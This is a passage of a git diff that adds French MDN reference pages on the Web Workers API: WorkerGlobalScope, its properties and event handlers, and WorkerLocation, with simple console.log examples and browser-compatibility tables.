+<p>Vous n'accéderez pas à <code>WorkerGlobalScope</code> directement dans votre code; cependant, ses propriétés et méthodes sont héritées par des portées globales plus spécifiques telles que {{domxref ("DedicatedWorkerGlobalScope")}} et {{domxref ("SharedWorkerGlobalScope")}}. Par exemple, vous pouvez importer un autre script dans le worker et imprimer le contenu de l'objet <code>navigator</code> de l'étendue du worker en utilisant les deux lignes suivantes:</p>
+
+<pre class="brush: js notranslate">importScripts('foo.js');
+console.log(navigator);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Étant donné que la portée globale du script de worker est effectivement la portée globale du worker que vous exécutez ({{domxref ("DedicatedWorkerGlobalScope")}} ou autre) et que toutes les portées globales de worker héritent des méthodes, des propriétés, etc. À partir de <code>WorkerGlobalScope</code>, vous pouvez exécuter des lignes telles que celles ci-dessus sans spécifier d'objet parent.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#workerglobalscope', 'WorkerGlobalScope')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucun changement par rapport à {{SpecName ("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', '#workerglobalscope', 'WorkerGlobalScope')}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td><code>ononline</code>, <code>onoffline</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>console</code> {{Non-standard_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29")}} as  <code>WorkerConsole</code><br>
+    {{CompatGeckoDesktop("30")}} as the regular <code>Console</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>performance</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>ononline</code>, <code>onoffline</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("29")}} as a specific <code>WorkerConsole</code><br>
+    {{CompatGeckoMobile("30")}} as the regular <code>Console</code></td>
+   <td>1.4</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>console</code> {{Non-standard_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>1.4</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>performance</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>2.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Autre interface d'objet globale: {{domxref("Window")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, , {{domxref("ServiceWorkerGlobalScope")}}</li>
+ <li>Autres interfaces liées aux travailleurs: {{domxref("Worker")}}, {{domxref("WorkerLocation")}}, {{domxref("WorkerGlobalScope")}}, et {{domxref("ServiceWorkerGlobalScope")}}.</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers" title="/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation de web workers.</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/fr/web/api/workerglobalscope/location/index.html b/files/fr/web/api/workerglobalscope/location/index.html
new file mode 100644
index 0000000000..9406fa3aeb
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/location/index.html
@@ -0,0 +1,69 @@
+---
+title: WorkerGlobalScope.location
+slug: Web/API/WorkerGlobalScope/location
+translation_of: Web/API/WorkerGlobalScope/location
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La propriété en lecture seule <code><strong>location</strong></code> de l'interface {{domxref("WorkerGlobalScope")}} retourne l'objet {{domxref("WorkerLocation")}} associé au worker. C'est un objet location spécifique, essentiellement un sous-ensemble de {{domxref("Location")}} pour les contextes de navigation, mais adapté aux workers.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var locationObj = self.location;</pre>
+
+<h3 id="Specifications" name="Specifications">Valeur de retour</h3>
+
+<p>Un objet {{domxref("WorkerLocation")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Si vous appelez l'instruction suivante dans un document délivré par <code>localhost:8000</code></p>
+
+<pre class="brush: js">console.log(location);</pre>
+
+<p>à l'intérieur d'un worker (ce qui équivaut à <code>self.console.log(self.location);</code>, puisqu'il est appelé dans le contexte du worker qui peut être référencé par {{domxref("WorkerGlobalScope.self")}}), la console vous retournera un objet {{domxref("WorkerLocation")}}  — comme ce qui suit :</p>
+
+<pre class="brush: js">WorkerLocation {hash: "", search: "", pathname: "/worker.js", port: "8000", hostname: "localhost"…}
+  hash: ""
+  host: "localhost:8000"
+  hostname: "localhost"
+  href: "http://localhost:8000/worker.js"
+  origin: "http://localhost:8000"
+  pathname: "/worker.js"
+  port: "8000"
+  protocol: "http:"
+  search: ""
+  __proto__: WorkerLocation</pre>
+
+<p>Vous pouvez utiliser l'objet location pour récupérer des informations supplémentaires sur la localisation du document, comme vous pourriez le faire avec un objet {{domxref("Location")}} normal.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: Firefox rencontre un bogue avec l'utilisation de <code>console.log</code> à l'intérieur des workers partagés/service (voir {{Bug("1058644")}}), ce qui peut occasionner d'étranges résultats, mais cela devrait être bientôt corrigé.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-workerglobalscope-location', 'location')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.location")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("WorkerGlobalScope")}}</p>
diff --git a/files/fr/web/api/workerglobalscope/navigator/index.html b/files/fr/web/api/workerglobalscope/navigator/index.html
new file mode 100644
index 0000000000..a90b3657fc
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/navigator/index.html
@@ -0,0 +1,70 @@
+---
+title: WorkerGlobalScope.navigator
+slug: Web/API/WorkerGlobalScope/navigator
+translation_of: Web/API/WorkerGlobalScope/navigator
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La propriété en lecture seule <code><strong>navigator</strong></code> de l'interface {{domxref("WorkerGlobalScope")}} retourne le {{domxref("WorkerNavigator")}} associé au worker. C'est un objet navigator spécifique, essentiellement un sous-ensemble de {{domxref("Navigator")}} pour les contextes de navigation, mais adapté aux workers.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var navigatorObj = self.navigator;</pre>
+
+<h3 id="Specifications" name="Specifications">Valeur de retour</h3>
+
+<p>Un objet  {{domxref("WorkerNavigator")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Si vous appelez</p>
+
+<pre class="brush: js">console.log(navigator);</pre>
+
+<p>à l'intérieur d'un worker (ce qui équivaut à <code>self.console.log(self.navigator);</code>, puisqu'il est appelé dans le contexte du worker qui peut être référencé par {{domxref("WorkerGlobalScope.self")}}), la console vous retournera un objet {{domxref("WorkerNavigator")}} — comme ce qui suit :</p>
+
+<pre class="brush: js">Object {onLine: true, userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) Ap…ML, like Gecko) Chrome/40.0.2214.93 Safari/537.36", product: "Gecko", platform: "MacIntel", appVersion: "5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKi…ML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"…}
+    appCodeName: "Mozilla"
+    appName: "Netscape"
+    appVersion: "5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"
+    hardwareConcurrency: 4
+    onLine: true
+    platform: "MacIntel"
+    product: "Gecko"
+    userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"
+    __proto__: Object</pre>
+
+<p>Vous pouvez utiliser l'objet navigator pour récupérer des informations supplémentaires sur l'environnement d'exécution, comme vous pourriez le faire avec un objet {{domxref("Navigator")}} normal.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: Firefox rencontre un bogue avec l'utilisation de <code>console.log</code> à l'intérieur des workers partagés/service (voir {{Bug("1058644")}}), ce qui peut occasionner d'étranges résultats, mais cela devrait être bientôt corrigé.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-worker-navigator', 'navigator')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.WorkerGlobalScope.navigator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("WorkerNavigator")}}</p>
diff --git a/files/fr/web/api/workerglobalscope/onclose/index.html b/files/fr/web/api/workerglobalscope/onclose/index.html
new file mode 100644
index 0000000000..1eee58ed77
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/onclose/index.html
@@ -0,0 +1,42 @@
+---
+title: WorkerGlobalScope.onclose
+slug: Web/API/WorkerGlobalScope/onclose
+translation_of: Web/API/WorkerGlobalScope/onclose
+---
+<p>{{APIRef("Web Workers API")}}{{obsolete_header}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>Non-standard</strong></p>
+
+<p>Cette fonctionnalité n'est ni standard, ni en voie de standardisation. Ne l'utilisez pas pour des sites accessibles sur le Web: elle ne fonctionnera pas pour tout utilisateur. Il peut également y avoir d'importantes incompatibilités entre les implémentations et son comportement peut être modifié dans le futur.</p>
+</div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>La propriété <strong><code>onclose</code></strong> de l'interface {{domxref("WorkerGlobalScope")}} représente un {{domxref("EventHandler")}} à appeler lorsque l'événement {{event("close")}} survient et se propage à travers le {{domxref("Worker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>self.onclose = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre la création d'un gestionnaire <code>onclose</code> placé au sein d'un worker :</p>
+
+<pre class="brush: js">self.onclose = function() {
+  console.log('Your worker instance has been closed');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette fonctionnalité n'est défini dans plus aucune spécification.</p>
+
+<h2 id="Compatibilité_des_naviguateurs">Compatibilité des naviguateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.onclose")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("WorkerGlobalScope")}} à laquelle elle appartient.</p>
diff --git a/files/fr/web/api/workerglobalscope/onerror/index.html b/files/fr/web/api/workerglobalscope/onerror/index.html
new file mode 100644
index 0000000000..f2c782a986
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/onerror/index.html
@@ -0,0 +1,47 @@
+---
+title: WorkerGlobalScope.onerror
+slug: Web/API/WorkerGlobalScope/onerror
+translation_of: Web/API/WorkerGlobalScope/onerror
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La propriété <strong><code>onerror</code></strong> de l'interface {{domxref("WorkerGlobalScope")}} représente un {{domxref("EventHandler")}} à appeler lorsque l'événement {{event("error")}} survient et se propage à travers le {{domxref("Worker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>self.onerror = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre un gestionnaire <code>onerror</code> placé au sein d'un worker :</p>
+
+<pre class="brush: js">self.onerror = function() {
+  console.log('There is an error inside your worker!');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-workerglobalscope-onerror", "WorkerGlobalScope.onerror")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_naviguateurs">Compatibilité des naviguateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.onerror")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("WorkerGlobalScope")}} à laquelle il appartient.</p>
diff --git a/files/fr/web/api/workerglobalscope/onlanguagechange/index.html b/files/fr/web/api/workerglobalscope/onlanguagechange/index.html
new file mode 100644
index 0000000000..674f00906a
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/onlanguagechange/index.html
@@ -0,0 +1,47 @@
+---
+title: WorkerGlobalScope.onlanguagechange
+slug: Web/API/WorkerGlobalScope/onlanguagechange
+translation_of: Web/API/WorkerGlobalScope/onlanguagechange
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La propriété <strong><code>onlanguagechange</code></strong> de l'interface {{domxref("WorkerGlobalScope")}} représente un {{domxref("EventHandler")}} à appeler lorsque l'événement {{event("languagechange")}} survient et se propage à travers le {{domxref("Worker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>self.onlanguagechange = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre un gestionnaire <code>onlanguagechange</code> placé au sein d'un worker :</p>
+
+<pre class="brush: js">self.onlanguagechange = function() {
+  console.log('Your preferred language settings have been changed');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-workerglobalscope-onlanguagechange", "WorkerGlobalScope.onlanguagechange")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.onlanguagechange")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("WorkerGlobalScope")}} à laquelle elle appartient.</p>
diff --git a/files/fr/web/api/workerglobalscope/onoffline/index.html b/files/fr/web/api/workerglobalscope/onoffline/index.html
new file mode 100644
index 0000000000..df5d70eb36
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/onoffline/index.html
@@ -0,0 +1,47 @@
+---
+title: WorkerGlobalScope.onoffline
+slug: Web/API/WorkerGlobalScope/onoffline
+translation_of: Web/API/WorkerGlobalScope/onoffline
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La propriété <strong><code>onoffline</code></strong> de l'interface {{domxref("WorkerGlobalScope")}} représente un {{domxref("EventHandler")}} à appeler lorsque l'événement {{event("offline")}} survient et se propage à travers le {{domxref("Worker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>self.onoffline = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre un gestionnaire <code>onoffline</code> placé dans un worker :</p>
+
+<pre class="brush: js">self.onoffline = function() {
+  console.log('Your worker is now offline');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-workerglobalscope-onoffline", "WorkerGlobalScope.onoffline")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope.onoffline")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("WorkerGlobalScope")}} à laquelle il appartient.</p>
diff --git a/files/fr/web/api/workerglobalscope/ononline/index.html b/files/fr/web/api/workerglobalscope/ononline/index.html
new file mode 100644
index 0000000000..0b8d96433b
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/ononline/index.html
@@ -0,0 +1,49 @@
+---
+title: WorkerGlobalScope.ononline
+slug: Web/API/WorkerGlobalScope/ononline
+translation_of: Web/API/WorkerGlobalScope/ononline
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La propriété <strong><code>ononline</code></strong> de l'interface {{domxref("WorkerGlobalScope")}} représente un {{domxref("EventHandler")}} à appeler lorsque l'événement {{event("online")}} survient et se propage à travers le {{domxref("Worker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>self.ononline = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre un gestionnaire <code>ononline</code> placé dans un worker :</p>
+
+<pre class="brush: js">self.ononline = function() {
+  console.log('Your worker is now online');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#handler-workerglobalscope-ononline", "WorkerGlobalScope.ononline")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.WorkerGlobalScope.ononline")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface {{domxref("WorkerGlobalScope")}} à laquelle il appartient.</p>
diff --git a/files/fr/web/api/workerglobalscope/self/index.html b/files/fr/web/api/workerglobalscope/self/index.html
new file mode 100644
index 0000000000..ef79718e43
--- /dev/null
+++ b/files/fr/web/api/workerglobalscope/self/index.html
@@ -0,0 +1,79 @@
+---
+title: WorkerGlobalScope.self
+slug: Web/API/WorkerGlobalScope/self
+translation_of: Web/API/WorkerGlobalScope/self
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>La propriété en lecture seule <code><strong>self</strong></code> de l'interface {{domxref("WorkerGlobalScope")}} retourne une référence au <code>WorkerGlobalScope</code> lui-même. La plupart du temps il s'agit d'un contexte spécifique comme {{domxref("DedicatedWorkerGlobalScope")}},  {{domxref("SharedWorkerGlobalScope")}}, ou {{domxref("ServiceWorkerGlobalScope")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var selfRef = self;</pre>
+
+<h3 id="Specifications" name="Specifications">Valeur</h3>
+
+<p>Un objet global scope (qui diffère selon le type du worker concerné, comme indiqué ci-dessus).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Si vous appelez</p>
+
+<pre class="brush: js">console.log(self);</pre>
+
+<p>au sein d'un worker, vous obtiendrez un worker global scope du même type que l'objet worker écrit sur la console — quelque chose comme ce qui suit :</p>
+
+<pre class="brush: js">DedicatedWorkerGlobalScope {
+undefined: undefined, Infinity: Infinity, Math: MathConstructor, NaN: NaN, Intl: Object…}
+    Infinity: Infinity
+    Array: function Array() { [native code] }
+      arguments: null
+      caller: null
+      isArray: function isArray() { [native code] }
+      length: 1
+      name: "Array"
+      observe: function observe() { [native code] }
+      prototype: Array[0]
+      unobserve: function unobserve() { [native code] }
+      __proto__: function Empty() {}
+      &lt;function scope&gt;
+    ArrayBuffer: function ArrayBuffer() { [native code] }
+    Blob: function Blob() { [native code] }
+    Boolean: function Boolean() { [native code] }
+    DataView: function DataView() { [native code] }
+    Date: function Date() { [native code] }
+    DedicatedWorkerGlobalScope: function DedicatedWorkerGlobalScope() { [native code] }
+    Error: function Error() { [native code] }
+<em>// etc. etc.</em>
+</pre>
+
+<p>Cette trace fournit la liste complète des objets disponibles dans le contexte d'un worker, et constitue un test très utile lorsqu'il s'agit de savoir ce qui est disponible ou non au sein d'un worker. Nous maintenons aussi une liste des <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Fonctions et classes disponibles dans les Web Workers</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-workerglobalscope-self', 'self')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.WorkerGlobalScope.self")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("WorkerGlobalScope")}}</p>
diff --git a/files/fr/web/api/workerlocation/index.html b/files/fr/web/api/workerlocation/index.html
new file mode 100644
index 0000000000..ef84bcb1b7
--- /dev/null
+++ b/files/fr/web/api/workerlocation/index.html
@@ -0,0 +1,79 @@
+---
+title: WorkerLocation
+slug: Web/API/WorkerLocation
+tags:
+  - API
+  - Web Workers
+translation_of: Web/API/WorkerLocation
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p>L'interface <strong><code>WorkerLocation</code></strong> définit l'emplacement complet du script exécuté par le {{domxref("Worker")}}. Un tel objet est initialisé pour chaque <em>worker </em>et est disponible via la propriété {{domxref("WorkerGlobalScope.location")}} récupérée par l'appel à <code>window.self.location</code>.</p>
+
+<p>Cette interface est uniquement visible à l'intérieur d'un script JavaScript exécuté dans le contexte d'un <em>web worker</em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>WorkerLocation</code> n'hérite d'aucune propriété mais implémente les propriétés définies par l'interface {{domxref("URLUtilsReadOnly")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtilsReadOnly.href")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant la totalité de URL du script exécuté dans le {{domxref("Worker")}}.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.protocol")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant le schéma du protocole de l'URL du script exécuté dans le {{domxref("Worker")}}, incluant les deux points de terminaison<code>':'</code>.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.host")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant l'hôte, constitué du nom d'hôte <em>hostname</em>, de deux points <code>':'</code>, et du numéro de <em>port</em> de l'URL du script exécuté dans le {{domxref("Worker")}}.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.hostname")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant le nom de domaine du script exécuté dans le {{domxref("Worker")}}.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.origin")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant l'origine de l'URL sous sa forme canonique.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.port")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant le numéro de port de l'URL du script exécuté dans le {{domxref("Worker")}}.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.pathname")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant une barre oblique initiale <code>'/'</code> suivie du chemin de l'URL du script exécuté dans le {{domxref("Worker")}}.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.search")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant un point d'interrogation intial <code>'?'</code> suivi des paramètres de l'URL du script exécuté dans le {{domxref("Worker")}}.</dd>
+ <dt>{{domxref("URLUtilsReadOnly.hash")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant un dièse initial <code>'#'</code> suivi de l'identifiant de l'ancre de l'URL du script exécuté dans le {{domxref("Word'hôteker")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface <code>WorkerLocation</code> n'hérite d'aucune méthode mais implémente les méthodes définies par l'interface {{domxref("URLUtilsReadOnly")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtilsReadOnly.toString()")}}</dt>
+ <dd>Retourne une chaîne de caractères {{domxref("DOMString")}} contenant l'URL complète du script exécuté dans le {{domxref("Worker")}}. C'est un synonyme de la propriété {{domxref("URLUtilsReadOnly.href")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#workerlocation', 'WorkerLocation')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.WorkerLocation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Autres interfaces apparentées au <em>Worker</em>: {{domxref("Worker")}}, {{domxref("WorkerNavigator")}} et {{domxref("WorkerGlobalScope")}}.</li>
+ <li><a href="/fr/docs/Utilisation_des_web_workers">Utilisation des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/xmldocument/async/index.html b/files/fr/web/api/xmldocument/async/index.html
new file mode 100644
index 0000000000..436e3e5215
--- /dev/null
